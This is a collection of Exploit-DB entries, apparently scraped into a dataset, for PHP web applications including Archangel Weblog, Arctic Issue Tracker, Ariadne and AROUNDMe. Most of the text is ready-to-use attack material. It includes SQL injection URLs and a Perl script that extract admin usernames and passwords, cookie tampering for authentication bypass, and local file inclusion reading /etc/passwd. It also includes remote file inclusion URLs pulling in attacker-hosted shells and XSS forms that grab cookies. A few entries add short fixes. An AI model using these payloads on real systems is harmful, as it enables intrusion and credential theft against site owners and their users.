deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8304
Description: Arcadwy Arcade Script - (Authentication Bypass) Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-03-29
Author: ZoRLu

Exploit:
[~] Arcadwy Arcade Script (for ByPass) Insecure Cookie Handling Vulnerability 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 29.03.2009
[~]
[~] Home: yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org
[~]
[~] contact: trt-turk@hotmail.com
[~] 
[~] N0T: BasImIz Sagolsun, Muhsin YazIcIoglu Ulkemiz ve Ulkumuz icin Buyuk KayÃ½p Allah Rahmet Eylesin :((
[~]
[~] N0T: Herkes Hecker Olmus :S
[~]
[~] N0T: My New Target Buffer Overflow :) There is a little time xD
[~]
[~] -----------------------------------------------------------

Demo:

http://games.arcadwy.com/

Exploit:

javascript:document.cookie = "user=[admin_id],' or ' 1=1--; path=/";

Exploit for demo:

javascript:document.cookie = "user=1,' or ' 1=1--; path=/";

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone
[~]
[~] yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-03-29]
Exploit-DB #3859
Description: Archangel Weblog 0.90.02 - Local File Inclusion / Authentication Bypass
Type: webapps
Platform: php
Date: 2007-05-05
Author: Dj7xpl

Exploit:
                      \\\|///
                    \\  - -  //
                     (  @ @ )
              ----oOOo--(_)-oOOo--------------------------------------------------
              Portal   :  Archangel Weblog version 0.90.02
	      Home     :  http://www.archangelmgt.com/weblog.shtml
              Download :  http://www.archangelmgt.com/Archangel_Weblog_v090_02.zip
	      Author   :  Dj7xpl / Dj7xpl@2600.ir
	      HomePage :  http://Dj7xpl.2600.ir
	      Type     :  Local File Inclusion & Login Page Bypass By Cookie
              ----ooooO-----Ooooo--------------------------------------------------
                  (   )     (   )
                   \ (       ) /
                    \_)     (_/



+---------------------------------------------------------------------------------------------+

Local File Include :

http://[TARGET]/[PATH]/index.php?index=[Local File]%00
http://Target.com/blog/index.php?index=../../../../etc/passwd%00

+---------------------------------------------------------------------------------------------+


+---------------------------------------------------------------------------------------------+

Edit Cookie :

Host  : Target
Name  : ba_admin
Value : 1      <------ (Admin User Id)

And Go To Admin Panel :

http://[Target]/[Path]/Admin/

+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-05-05]
Exploit-DB #27324
Description: Archangel Weblog 0.90.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2006-02-27
Author: KingOfSka

Exploit:
source: https://www.securityfocus.com/bid/16848/info

Archangel Weblog is prone to an authentication-bypass vulnerability. This issue is due to a failure in the application to properly validate user-supplied data. 

An attacker can exploit this issue to bypass the authentication mechanism and gain access to the affected application as an administrative user. This may facilitate a compromise of the underlying system; other attacks are also possible.

The following example HTTP request is sufficient to exploit this issue:
GET http://www.example.com/awb/admin/index.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051229 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: ba_admin=1
Cache-Control: max-age=0
Exploit-DB #31084
Description: Archimede Net 2000 - 'E-Guest_show.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-01
Author: Sw33t h4cK3r

Exploit:
source: https://www.securityfocus.com/bid/27563/info

Archimede Net 2000 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/telefonia/E-Guest_show.php?display=(sql)
Exploit-DB #46113
Description: Architectural 1.0 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-10
Author: Ihsan Sencan

Exploit:
# Exploit Title: Architectural Cms 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ezcode.pt/
# Software Link: https://codecanyon.net/item/architectural-multipage-theme-admin-panel/20968597
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A


# POC: 
# http://localhost/[PATH]/backoffice/forgot.php
# 

POST /[PATH]/backoffice/forgot.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 749
Cookie: PHPSESSID=84955lhp1purfrvdrvhs7a00q2; EU_COOKIE_LAW_CONSENT=true
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
_csrf=0089a3c48ac05616e608ef7e74c98411&email=%27%7c%7c%28%53%45%4c%45%43%54%20%27%62%5a%74%57%27%20%46%52%4f%4d%20%44%55%41%4c%20%57%48%45%52%45%20%31%31%3d%31%31%20%41%4e%44%20%28%53%45%4c%45%43%54%20%31%31%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%31%3d%31%31%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29%29%7c%7c%27&submit=Reset%2B[CREDENTIAL_REDACTED]
HTTP/1.1 200 OK
Date: Wed, 09 Jan 2019 22:53:02 GMT
Server: Apache
X-Powered-By: PHP/5.5.38
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Exploit-DB #6097
Description: Arctic Issue Tracker 2.0.0 - 'filter' SQL Injection (1)
Type: webapps
Platform: php
Date: 2008-07-17
Author: QTRinux

Exploit:
 IloveYouTryaG
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
Title  ::   Remote SQL Injection
 
Author ::   QTRinu x [ Qataro (at) hotmail (dot) Com ]
Application  ::  Arctic Issue Tracker v2.0.0
 
Download ::   http://www.arctictracker.com
Price    ::  $99.95 USD
Dork 1   ::  Powered by Arctic v2.0.0
 
ShoutZ   :: Allah ,InJecTor,AlQaTaRi,all InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers
Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.
--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: http:// Localhost / (Path Script) / index.php?filter= [SQL]

SQL  : -1%20union%20select%201,2,3,concat(username,0x3a,password),5%20from%20arctic_user%20where%20id=1--
 
-------------------------------------------[End of  context]----------------------------------------
thanx str0ke/*

# milw0rm.com [2008-07-17]
Exploit-DB #6113
Description: Arctic Issue Tracker 2.0.0 - 'filter' SQL Injection (2)
Type: webapps
Platform: php
Date: 2008-07-21
Author: ldma

Exploit:
#!/usr/bin/perl
 
use IO::Socket;
 

print q{
-----------------------------------------------
Arctic Issue Tracker v2.0.0 exploit by ldma
              ~ SubCode ~
use: arctic.pl [server] [dir]
sample:
$perl arctic.pl localhost /arctic/
-----------------------------------------------
 
};
 
$webpage = $ARGV[0];
$directory = $ARGV[1];
print "+-initiating\n";
print "|--modules..OK!\n";
        sleep 1;
print "|--premodules..OK!\n";
        sleep 1;
print "|--preprocessors..OK!\n";
        sleep 1;
print "+-opening channel.. OK!\n";
        sleep 2;
print "--------------------------------------------\n";
print "~ configuration complete.. OK!\n";
print "~ scanning";
$|=1;
foreach (1..2) {
        print ".";
        sleep 1;
        }
print " OK!\n";
if (!$webpage) { die "\+ rtfm geek\n"; }
 
$wbb_dir =
"http://".$webpage.$directory."index.php?filter=-1%20union%20select%201,2,3,concat(username,0x3a,password),5%20from%20arctic_user%20where%20id=1--";
 
print "~ connecting";
$|=1;
foreach (1..1) {
        print ".";
        sleep 1;
        }
print " OK!\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", PeerPort=>"80") || die "[+] Can't connect to Server\n";
 
print "~ open exploiting-tree";
$|=1;
foreach (1..2) {
        print ".";
        sleep 1;
        }
print " OK!\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";
print "[+] Target: $webpage\n";
while ($answer = <$sock>) {
if ($answer =~ /Current Filter: <strong>(.*)<\/strong>/) {
print "exploiting in progress";
$|=1;
foreach (1..3) {
        print "...";
        sleep 1;
        }
 
 
print "OK!\n[+] vuln: OK!\n\n\nwell done, ldma!\n\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "[+] USER-ID: -1\n";
print "[+] ID-HASH: $1\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
exit();
}
}
 
close($sock);
 
# ldma[2008-07-19] 

# milw0rm.com [2008-07-21]
Exploit-DB #15840
Description: ardeaCore 2.25 - PHP Framework Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-12-29
Author: n0n0x

Exploit:
******************************************************
[!] Discovered: n0n0x
[!] Homepage: http://priasantai.uni.cc/
[!] Remote: yes
******************************************************
  
*****************************************[ Hello gay ]***********************************************
****************************************************************************************************************
[x] PoC:

http://host/ardeaCore_v2.25/ardeaCore/lib/core/ardeaInit.php?pathForArdeaCore=[http://server/shell.tmp???]
http://host/ardeaCore_v2.25/ardeaCore/lib/core/ardeaBlog.php?CURRENT_BLOG_PATH=[http://server/shell.tmp???]
http://host/ardeaCore_v2.25/ardeaCore/lib/core/mvc/ardeaMVC.php?appMVCPath=[http://server/shell.tmp???]
****************************************************************************************************************

*****************************************[ Hello gay ]***********************************************
 
****************************************************************************************************************
[!] Thanks:
 
    manadocoding.net, sekuritionline.net
****************************************************************************************************************
[!] Greetz:
 
    str0ke, angky.tatoki,EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, zreg, Valentin,team_elite
    devilbat.

[!] special thanks : cr4wl3r - cyberl0g
****************************************************************************************************************
Exploit-DB #35739
Description: Argyle Social - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-05-12
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47826/info

Argyle Social is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

1.
<form action="www.example.com/settings-ajax/stream_filter_rules/create" method="post" name="main">
<input type="hidden" name="stream_filter_rule" value=&#039;{"name":"rulename","id":"","flags":[ "flagged"],"networks":null,"user_id":"0","terms":"XSS\& quot;><script>alert(document.cookie)</script>"}&#039;>
</form>
<script>
document.main.submit();
</script>

2.
<form action="www.example.com/publish-ajax/efforts/create" method="post" name="main">
<input type="hidden" name="effort" value=&#039;{"effort_id":"","title":"ptitle2\">< font color="#0000FF"><script>alert(document.cookie)</script>","url":"http://www.google.com","short&q uot;:null,"campaigns":[],"primary_campaign":null,"flights":[{"glass_id" ;:"post0","flight_id":null,"mdk":false,"source":"web interface","content_type":"twitter-status","content":{"content":& quot;hello"},"stime":"4/30/2011 23:10:00","networks":[{"id":"1","name":"My Name","type":"twitter","url":"","avatar":"http://a 2.twimg.com/profile_images/[PII_REDACTED]/at-twitter_reasonably_small.png"}],"waparams":{"pnam e":null}}]}&#039;>
</form>
<script>
document.main.submit();
</script>
Exploit-DB #4920
Description: Aria 0.99-6 - 'page' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-16
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-002


Application:                    aria-0.99-6 (Web based ERP)
Versions Affected:              aria-0.99-6
Vendor URL:                     http://www.tucows.net/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       09.01.2008
Vendor Response:                None
Date of Public Advisory:        15.01.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Aria has Local File Include vulnerability in page arias/help/effect.php 


Code
****

############################################

  if (empty($_GET['page'])) {
        $page = 'help.php';
    } else {
        $page = $_GET['page'];
    }
    if (false == is_file($page)) {
        $page = 'file_not_found.php';
    }
    include($page);
}

############################################


Example: 

http://[server]/[installdir]/arias/help/effect.php?page=[file]


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-01-16]
Exploit-DB #2710
Description: Ariadne 2.4 - store_config[code] Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-04
Author: Mehmet Ince

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Ariadne v2.4 (store_config[code]) Remote File Include Vuln

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Found: Cyber-Security.Org

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Version: 2.4

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Code: include_once($store_config['code']."modules/mod_debug.php");

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

F.X:

1- open files

2- add this code before wrong codes

require("../www/ariadne.inc");

3- save files

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Exploit:

www.target.com/script_path/lib/includes/loader.cmd.php?store_config[code]=http://evilscripts ?
www.target.com/script_path/lib/includes/loader.ftp.php?store_config[code]=http://evilscripts ?
www.target.com/script_path/lib/includes/loader.soap.php?store_config[code]=http://evilscripts ?
www.target.com/script_path/lib/includes/loader.web.php?store_config[code]=http://evilscripts ?


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Thanx: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Script Download: http://www.ariadne-cms.org/download/ariadne/ariadne.2.4.zip

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2006-11-04]
Exploit-DB #1320
Description: Arki-DB 1.0 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-14
Author: Devil-00

Exploit:
[~] ArkiDB SQL Injection's [~]
[~] ArkiDB (catid) Ramote SQL Injection's 
[~] ---------------------- [~]
[~] Bug By Devil-00
[~] devil-00@s4a.cc
[~] 
[~] Whe Ar All Love Security4Arab For Ever [ S4a.cc ]
[~] -------------------------------------------------
[~]
[~] Explorer Exploit By  Devil-00
[~] -------------------------------------------------
[~] Greetz :-
[~]   Devil-00
[~]   www.s4a.cc << We Love You
[~]   www.securitygurus.net << Love you 2 :P
[~]   HACKERS PAL - ABDUCTER - Xion - Yes2Hack - Ja7ole - Magode .. All S4a And SG Members
[~]---------------------------------------------------------------------------------------------------------
[~] Explorer Exploit :-
[~]
[~]  [Username]
[~] /index.php?action=view&view=category&catid=-1%20UNION%20SELECT%20null,null,username,null,null,null,null,null%20FROM%20arkidb_users%20WHERE%20id=1&catflag=1&sublevel=1    
[~]
[~]  [Password]
[~] /index.php?action=view&view=category&catid=-1%20UNION%20SELECT%20null,null,userpass,null,null,null,null,null%20FROM%20arkidb_users%20WHERE%20id=1&catflag=1&sublevel=1
[~]----------------------------------------------------------------------------------------------------------
[~] FIX :-
[~]  Line 75 .. File /source/view.php
[~]  
[~]   $catid = $this->get('catid');
[~] Change To
[~]   $catid = intval($this->get('catid'));
[~]---------------------------------------------------------------------------------------------------------- 

[~] milw0rm.com [2005-11-14]
Exploit-DB #2562
Description: AROUNDMe 0.5.2 - 'templatePath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-15
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
AROUNDMe <= 0.5.2 [templatePath] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : AROUNDMe
version : 0.5.2
Download: http://savannah.gnu.org/download/aroundme/aroundme_0_5_2.tar.tgz
------------------------------------------------------------------


Exploit:
~~~~~~~~
Variable $templatePath not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/template/barnraiser_01/p_new_password.tpl.php?templatePath=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-15]
Exploit-DB #3659
Description: AROUNDMe 0.7.7 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-04-04
Author: kezzap66345

Exploit:
AROUNDMe  _0_7_7
*****************
Found by kezzap66345 *
*****************
*****************
Script
Download:http://download.savannah.gnu.org/releases/aroundme/aroundme_0_7_7.tar.gz

*****************
*****************
ERROR#1:
File:\components\core\inc\core_profile.header.php
*****************


include_once($language_path_core . 'inc/me_common.inc.php');     <<< rfi coded


**************************************************************************************
RFI#1:

http://SITE.com/path/aroundme/components/core/inc/core_profile.header.php?language_path_core=[SHELL]


**************************************************************************************

*****************
ERROR#2:
File:/components/core/template/barnraiser_01/maint_contact_view.tpl.php
*****************

<?php
                       include $template_path_core . "inc/comment.inc.php";
                       ?> <<< rfi coded


**************************************************************************************
RFI#2:
http://SITE.com/path/components/core/template/barnraiser_01/maint_contact_view.tpl.php?template_path_core=[SHELL]




ERROR#3:
File:/components/core/template/barnraiser_01/default.tpl.php
*****************


include_once($template_path . "inc/menu_" . $section . ".inc.php");    <<< rfi coded


**************************************************************************************
RFI#3:

http://SITE.com/path/components/core/template/barnraiser_01/default.tpl.php?template_path=[SHELL]


**************************************************************************************

*****************
ERROR#4:
File:/components/core/template/barnraiser_01/maint_contact_view.tpl.php
*****************
include($template_path_core . "inc/form_gui_html_editor.inc.php");    <<<
rfi coded


**************************************************************************************
RFI#4:

http://SITE.com/path/components/core/template/barnraiser_01/maint_contact_view.tpl.php?template_path_core=[SHELL]
Thanks:Siircicocuk and x0r0n
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK****str0ke**************************************************

# milw0rm.com [2007-04-04]